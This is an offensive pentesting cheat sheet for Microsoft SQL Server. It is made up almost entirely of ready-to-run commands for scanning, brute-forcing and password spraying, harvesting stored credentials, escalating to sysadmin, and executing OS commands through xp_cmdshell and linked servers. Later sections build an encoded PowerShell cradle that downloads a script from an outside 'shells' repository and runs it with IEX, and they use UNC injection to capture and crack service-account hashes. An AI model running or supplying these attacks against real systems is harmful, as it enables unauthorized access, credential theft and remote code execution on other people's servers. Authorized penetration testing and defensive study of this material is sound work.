black electronics

1433 - MSSQL

Pentesting MSSQL

Pentesting MSSQL

Microsoft SQL Server is a widely used relational database management system that listens by default on TCP port 1433. In Windows-heavy environments, it's not uncommon to find internal or exposed instances that allow unauthenticated enumeration or suffer from weak configurations. These instances can be leveraged to gain initial access, pivot further within a network, or even execute system-level commands via features like xp_cmdshell.

When encountering an open MSSQL port, your first steps should focus on identifying exposed services, accessible databases, valid users, and weak credentials. From there, you can begin exploiting available stored procedures and extended functions or escalate via trusted links and UNC injection.

Discovery and Enumeration

Before proceeding with enumeration and further penetration testing steps, it’s important to identify which systems are exposing MSSQL on port 1433. Use the tools below to locate live targets quickly.

Terminal window
nmap -p 1433 -Pn -n 10.1.1.1 # Scan an IP for port 1433 open
nmap -p 1433 -Pn -n 10.0.0.0/24 # Scan network for hosts with port 1433 open
nmap -p 1433 -Pn -n -iL targets.txt # Scan a file of hosts for open port 1433
masscan -p1433 10.1.1.0/24 --rate=10000 # Fast discovery across wide ranges
zmap -p 1433 10.1.1.0/24 # Lightweight single-port scanning at scale

For service validation and banner grabbing:

Terminal window
nmap -sV -p1433 10.1.1.0/24 # Detect MSSQL and grab version info

To discover SQL servers over NetBIOS, use:

Terminal window
nbtscan 10.1.1.0/24 # Find hostnames, workgroups, and NetBIOS data

Initial Enumeration

Once port 1433 is discovered, the first step is to extract as much information as possible using Nmap and other automated tools. These NSE scripts can reveal valuable data such as versioning, domain names, and authentication methods, even without valid credentials.

Terminal window
nmap -p1433 --script=ms-sql-empty-password.nse --script-args=unsafe=1 -v 10.1.1.1 # Check for blank SA password
nmap -p1433 --script=ms-sql-info.nse --script-args=unsafe=1 -v 10.1.1.1 # Retrieve MSSQL version, hostname, domain, etc.
nmap -p1433 --script=ms-sql-ntlm-info.nse --script-args=unsafe=1 -v 10.1.1.1 # Get NTLM auth and domain info via NTLM
nmap -p1433 --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1 -v 10.1.1.1 # Discover MSSQL instances across the local network

You can combine multiple scripts into one big scan using the command below:

Terminal window
# Full enumeration with all common MSSQL NSE scripts
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.1.1.1

NSE Script Directory

Here are the most useful Nmap NSE scripts for MSSQL:

Terminal window
/usr/share/nmap/scripts/broadcast-ms-sql-discover.nse # Discover SQL services
/usr/share/nmap/scripts/http-sql-injection.nse # HTTP SQL injection (generic)
/usr/share/nmap/scripts/ms-sql-brute.nse # Brute-force MSSQL
/usr/share/nmap/scripts/ms-sql-config.nse # MSSQL config dump
/usr/share/nmap/scripts/ms-sql-dump-hashes.nse # Attempt hash dump
/usr/share/nmap/scripts/ms-sql-empty-password.nse # Test for blank passwords
/usr/share/nmap/scripts/ms-sql-hasdbaccess.nse # Check database access
/usr/share/nmap/scripts/ms-sql-info.nse # Version, host, and domain info
/usr/share/nmap/scripts/ms-sql-xp-cmdshell.nse # Check xp_cmdshell availability

Brute Force Attacks

If the server doesn’t allow unauthenticated access, you can try credential attacks using known usernames (like sa) and common passwords.

Hydra is a popular tool for brute-forcing several protocols, including MSSQL. It can be found here: https://github.com/vanhauser-thc/thc-hydra

Terminal window
hydra -l sa -p 'Password1' 10.1.1.1 mssql # Attempt login with known user/pass
hydra -l sa -P Passwords.txt 10.1.1.1 mssql # Attempt login with known user and brute force password
hydra -l admin@test-dev9368 -P /usr/share/wordlists/rockyou.txt 10.1.1.1 mssql # Azure SQL brute-force (username must include @dbname)

NetExec can be used to brute-force and password-spray MSSQL servers. It can be found here: https://github.com/Pennyw0rth/NetExec/releases

Terminal window
netexec mssql 10.1.1.0/24 -u 'sa' -p passwordfile # Password spraying MSSQL user
netexec mssql 10.1.1.0/24 -u userfile -p passwordfile # Password spraying MSSQL

Connecting to the Database

With credentials discovered in the above techniques, connect to the database server using any of the following tools, sqlcmd, EvilSQLClient and Impacket, to explore tables, stored procedures, and user roles. This can also help identify lateral movement opportunities.

Terminal window
sqlcmd -S SERVER\TEST -Q "SELECT name FROM master.dbo.sysdatabases" # Enumerate databases via Microsoft's sqlcmd utility
python mssqlclient.py DOMAIN/username:'password'@target -windows-auth # Impacket's powerful MSSQL client using Windows authentication

EvilSQLClient (esc.exe) drives interactively rather than via one-shot flags — set the target instance, then run its built-in checks:

esc.exe
set instance SQLServer1.corp.local
check loginaspw # Test for logins that reuse their own username as password
check defaultpw # Test known default credentials for common applications

GUI tools like DBeaver or HeidiSQL also provide a visual interface for further enumeration and SQL query execution.

Metasploit Login and Enumeration

Metasploit includes several modules for MSSQL, covering login attempts, enumeration, and command execution via xp_cmdshell. It can be very useful for automating exploitation or quickly testing credentials across multiple targets.

To log in using Metasploit:

Terminal window
msfconsole
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 10.1.1.1
set USERNAME sa
set PASSWORD P@ssw0rd
set RPORT 1433
run

Once you have valid MSSQL credentials you can enumerate databases or execute commands:

Terminal window
use auxiliary/admin/mssql/mssql_enum
set RHOSTS 10.1.1.1
set USERNAME sa
set PASSWORD P@ssw0rd
run

To execute OS commands such as whoami via xp_cmdshell:

Terminal window
use auxiliary/admin/mssql/mssql_exec
set RHOSTS 10.1.1.1
set USERNAME sa
set PASSWORD P@ssw0rd
set CMD whoami
run

PowerUpSQL

PowerUpSQL opens the door to a wide range of SQL pentesting capabilities. Whether you’re enumerating linked servers, uncovering stored credentials, or auditing for privilege escalation paths, PowerUpSQL helps automate and simplify the process for red teamers and pentesters.

Terminal window
Import-Module .\PowerUpSQL.ps1

Basic MSSQL Instance Discovery

It is important to map out the SQL landscape first. PowerUpSQL provides threaded discovery functions that can scan the domain or a list of hosts to identify accessible SQL instances.

Terminal window
Get-SQLInstanceLocal -Verbose # Discover local SQL Server instances on the current host
Get-SQLInstanceBroadcast -Verbose # Discover SQL instances via UDP broadcast ping
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1 # Targeted UDP port scan against a specific host
Get-SQLInstanceDomain -Verbose # Discover Active Directory domain SQL Server instances via SPNs
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose # Discover all reachable SQL instances in the domain
Get-SQLInstanceFile -FilePath .\machines.txt | Get-SQLInstanceScanUDPThreaded # Scan multiple hosts from a list to identify SQL instances over UDP

Domain-wide discovery can also be pointed at a specific DC using alternate credentials, which is useful when running from a non-domain-joined attack host:

Terminal window
Get-SQLInstanceDomain -Verbose -DomainController 10.1.1.1 -Username domain\user -Password 'P@ssword123'
Get-SQLInstanceDomain -Verbose -DomainAccount SQLSvc # List SQL Servers whose SPN is registered to a specific service account

Authenticating as a Different Domain User

If you’ve obtained credentials for a domain user other than the one you’re currently logged in as, spawn a new PowerShell session under those credentials before running any of the above:

Terminal window
runas /noprofile /netonly /user:domain\user PowerShell.exe
Import-Module .\PowerUpSQL.ps1

PowerUpSQL also accepts credentials directly on most cmdlets, without needing a separate session:

Terminal window
Get-SQLQuery -Verbose -Instance "10.1.1.1,1433" # Query as the current domain user
Get-SQLQuery -Verbose -Instance "10.1.1.1,1433" -Username testuser -Password testpass # Query using SQL authentication

Weak Credential Audit

Once you’ve identified SQL instances, the next step is testing for weak or default credentials. PowerUpSQL includes built-in functionality to perform these checks for you.

Terminal window
Invoke-SQLAuditWeakLoginPw -Verbose -Instance 10.1.1.1 # Audit the target for weak SQL credentials (uses a built-in weak password list)

To use your own username and password wordlists instead of the built-in list:

Terminal window
Get-SQLInstanceFile -FilePath .\Instances_Accessible.txt | Invoke-SQLAuditWeakLoginPw -Verbose -UserFile ".\users.txt" -PassFile ".\passwords.txt"

Once you know one working SQL login, it’s worth checking how many other instances on the domain accept it — password reuse across instances is common:

Terminal window
# List every domain SQL instance a known login/password can authenticate to
$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -Username testuser -Password testpass | Where-Object {$_.Status -like "Accessible"}
$Targets
# Same check, but as the current domain user (no explicit credentials)
$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}
$Targets

Bulk Credential Audit

Auditing one host is good. Auditing all of them is even better. This loop lets you automate credential auditing across a list of SQL instances, saving you time.

Terminal window
# Audit many SQL servers in a loop for misconfigurations and weak logins
foreach ($line in Get-Content "sql_instances.txt") {
Invoke-SQLAudit -Verbose -Instance $line
}

If you’re testing accessibility and want to log all discovered weak credentials, use the following pattern to save the results to a file:

Terminal window
# Save weak credentials found during audits
Import-Module .\PowerUpSQL.ps1
$results = foreach ($line in Get-Content "Instances_Accessible.txt") {
Invoke-SQLAuditWeakLoginPw -Verbose -Instance $line
}
$results | Out-File -FilePath weak-passes.txt -Append

Linked Servers & Lateral Movement

Linked SQL Servers can allow you to pivot across systems, often bypassing traditional network segmentation. PowerUpSQL makes it easy to enumerate and interact with these links.

Terminal window
Get-SQLServerLink -Instance 10.1.1.1 # Enumerate linked SQL servers (potential lateral movement paths)
Get-SQLServerLinkCrawl -Instance 10.1.1.1 # Crawl all discovered linked servers recursively

If xp_cmdshell is available on the linked server, you can even execute commands:

Terminal window
Invoke-SQLServerLinkCommand -Instance 10.1.1.1 -Query "whoami" # Execute a query on a linked server

Stored Credentials & Trusts

SQL servers may store credentials or have trust relationships that can be abused. Use these commands to identify juicy targets and configuration weaknesses.

Terminal window
Get-SQLServerInfo -Instance 10.1.1.1 # Gather SQL Server configuration info (user, version, domain, etc.)
Get-SQLStoredCredential -Instance 10.1.1.1 # Extract stored SQL credentials (if any)
Get-SQLServerTrust -Instance 10.1.1.1 # Check for database trust relationships

For a broader domain sweep, run the general info-gathering functions across every discovered instance at once:

Terminal window
$ServerInfo = Get-SQLInstanceDomain | Get-SQLServerInfoThreaded -Verbose -Threads 10 # SQL/OS versions, service accounts, sysadmin access, etc. across the domain
$ServerInfo
Invoke-SQLDumpInfo -Verbose -Instance SQLServer1\Instance1 # Dump everything PowerUpSQL knows about a single instance in one go

SQL Agent Jobs are also worth pulling directly — they’re frequently used to run scheduled maintenance scripts and often contain plaintext credentials:

Terminal window
Get-SQLAgentJob -Verbose -Instance SQLServer1\Instance1 -Username sa -Password 'P@ssword!'
Get-SQLInstanceDomain -Verbose | Get-SQLAgentJob -Verbose -Username sa -Password 'P@ssword!' | Out-GridView

Privilege Escalation Checks

Understanding your current level of access is key. PowerUpSQL allows you to query roles and permission sets to identify paths for privilege escalation.

Terminal window
Get-SQLServerRole -Instance 10.1.1.1 # Check your role on the SQL server
Get-SQLServerPrivilegedRoleMember -Instance 10.1.1.1 # Identify members of high-privilege SQL roles (like sysadmin)
Get-SQLServerLoginDefaultPw -Instance 10.1.1.1 # Check if any SQL logins are using default credentials

Where a lower-privileged login is misconfigured, PowerUpSQL can attempt to escalate it to sysadmin directly:

Terminal window
Invoke-SQLAudit -Verbose -Instance SQLServer1 # Audit an instance for known escalation vectors
Invoke-SQLEscalatePriv -Verbose -Instance SQLServer1 # Attempt escalation to sysadmin using whichever vector applies

File Access & OS Command Execution

If xp_cmdshell is enabled, you can interact with the underlying OS beyond the database. This often allows you to exfiltrate data or execute malicious binaries.

Terminal window
Invoke-SQLOSCmd -Instance 10.1.1.1 -Command "whoami" # Run system commands via xp_cmdshell (if enabled)
Invoke-SQLQuery -Instance 10.1.1.1 -Query "SELECT * FROM master..syslogins" # Run arbitrary SQL queries
Get-SQLServerFile -Instance 10.1.1.1 -FilePath "C:\Windows\win.ini" # Read files from the SQL server host if permissions allow

If xp_cmdshell specifically is disabled or being monitored, PowerUpSQL supports several less obvious execution paths against a pre-built target list:

Terminal window
$Targets | Invoke-SQLOSCmd -Verbose -Command "whoami" -Threads 10 # Standard xp_cmdshell execution across multiple targets
$Targets | Invoke-SQLOSCLR -Verbose -Command "whoami" # Execute via a CLR assembly instead of xp_cmdshell
$Targets | Invoke-SQLOSOle -Verbose -Command "whoami" # Execute via OLE automation procedures
$Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command 'Write-Output "hello world" | Out-File C:\Windows\Temp\test.txt' -Sleep 20 # Execute by scheduling a one-off SQL Agent job

For lateral movement that avoids xp_cmdshell entirely and doesn’t touch disk on the target, Squeak automates command execution over MSSQL links via CLR.

Parallel Scanning & Threading

When working in large environments, performance matters. These threaded scans allow for faster enumeration and instance crawling:

Terminal window
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 20 -Verbose # Speed up scanning with multi-threading
Get-SQLServerLinkCrawl -Threads 10 -Instance 10.1.1.1 # Speed up linked server crawling

Remote Code Execution (xp_cmdshell)

If xp_cmdshell is enabled (or can be enabled), you can execute arbitrary commands on the SQL server’s host system. This is one of the most dangerous misconfigurations in SQL Server and offers direct shell access via SQL.

EXEC sp_configure 'show advanced options', '1'; RECONFIGURE; -- Enable advanced options
EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE; -- Enable xp_cmdshell
EXEC master..xp_cmdshell 'whoami'; -- Execute OS command

Once credentials (or a hash) are confirmed, NetExec can enable and use xp_cmdshell for you in a single command, without needing an interactive client:

Terminal window
netexec mssql 10.1.1.1 -d DOMAIN -u username -p password -x "whoami" # Execute a command using a username/password
netexec mssql 10.1.1.1 -d DOMAIN -u username -H HASH -X '$PSVersionTable' # Execute a PowerShell command using a username/NTLM hash

Manual Command Injection via HeidiSQL

If you’re using HeidiSQL or another SQL GUI and want to test RCE manually, you can enable xp_cmdshell and pass PowerShell payloads directly into SQL.

EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE;
DECLARE @SQL varchar(8000)
SET @SQL = 'powershell -enc ZgB1AG4AYwB0AGkAbwBuAC.......' -- Encoded PowerShell payload
EXEC master..xp_cmdshell @SQL

To generate the base64-encoded command:

Terminal window
$text = "(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Captain404/shells/main/run.ps1') | IEX"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$encodedtext = [Convert]::ToBase64String($bytes)
$encodedtext > encoded.txt # Save payload for injection

UNC Injection (Out-of-Band)

Another common abuse method is UNC injection, which triggers outbound SMB connections from the SQL server to your listener. This can be used for NTLM relay or hash capture via Responder.

xp_dirtree '\\10.1.1.1\file' -- Initiate SMB request
xp_fileexist '\\10.1.1.1\file' -- SMB file existence probe
DECLARE @user varchar(100); SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.10.1.1.1\aa"'); -- Use SQL user as subdomain

PowerUpSQL automates the domain-user-to-SQL-service-account version of this attack: while authenticated as a domain user, it identifies SQL Servers on the domain via an LDAP query for SPNs, attempts to log into each, then performs UNC path injection to capture and crack the associated SQL Server service account’s hash.

Terminal window
Invoke-SQLUncPathInjection -Verbose -CaptureIp 10.1.1.12 # Run against every reachable domain SQL instance, capturing hashes on the listener at 10.1.1.12

Manual Linked Server Enumeration & Abuse (T-SQL)

Where PowerShell/PowerUpSQL isn’t an option — for example, connecting from Linux with mssqlclient.py or a GUI client like HeidiSQL — the same linked-server abuse can be done by hand with raw T-SQL.

Start by listing configured links and which of them allow data access:

SELECT * FROM master..sysservers; -- View existing database links
SELECT * FROM master..sysservers WHERE dataaccess = 1; -- Only links that permit data access

OPENQUERY lets you run a query against a linked server directly, which is useful for checking whether a specific group or account holds sysadmin on the far side:

SELECT * FROM OPENQUERY([SQL01], 'SELECT name, type_desc, is_disabled FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER(''sysadmin'', name) = 1 AND name = ''AppLinkedServers'' ORDER BY name');

Impersonation checks — confirm what a given login actually resolves to before relying on it:

EXECUTE AS LOGIN = 'svc_webapp';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

List every member of the sysadmin role on the current instance:

SELECT member.name
FROM sys.server_role_members rm
JOIN sys.server_principals role
ON rm.role_principal_id = role.principal_id
JOIN sys.server_principals member
ON rm.member_principal_id = member.principal_id
WHERE role.name = 'sysadmin';

If a linked server trusts the current login as sysadmin, you can enable xp_cmdshell on the remote instance without ever connecting to it directly, then execute commands on it through the link:

EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE') AT "SQL27";
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE') AT "SQL27";
EXEC ('xp_cmdshell ''ipconfig''') AT "SQL27";

This chains cleanly into a download-and-execute cradle on the remote instance, entirely through the linked server:

EXEC ('xp_cmdshell ''powershell -enc <base64-encoded (New-Object Net.WebClient).DownloadString(...) | IEX>''') AT "SQL27";
Useful LinksPentest PayloadsCheat Sheets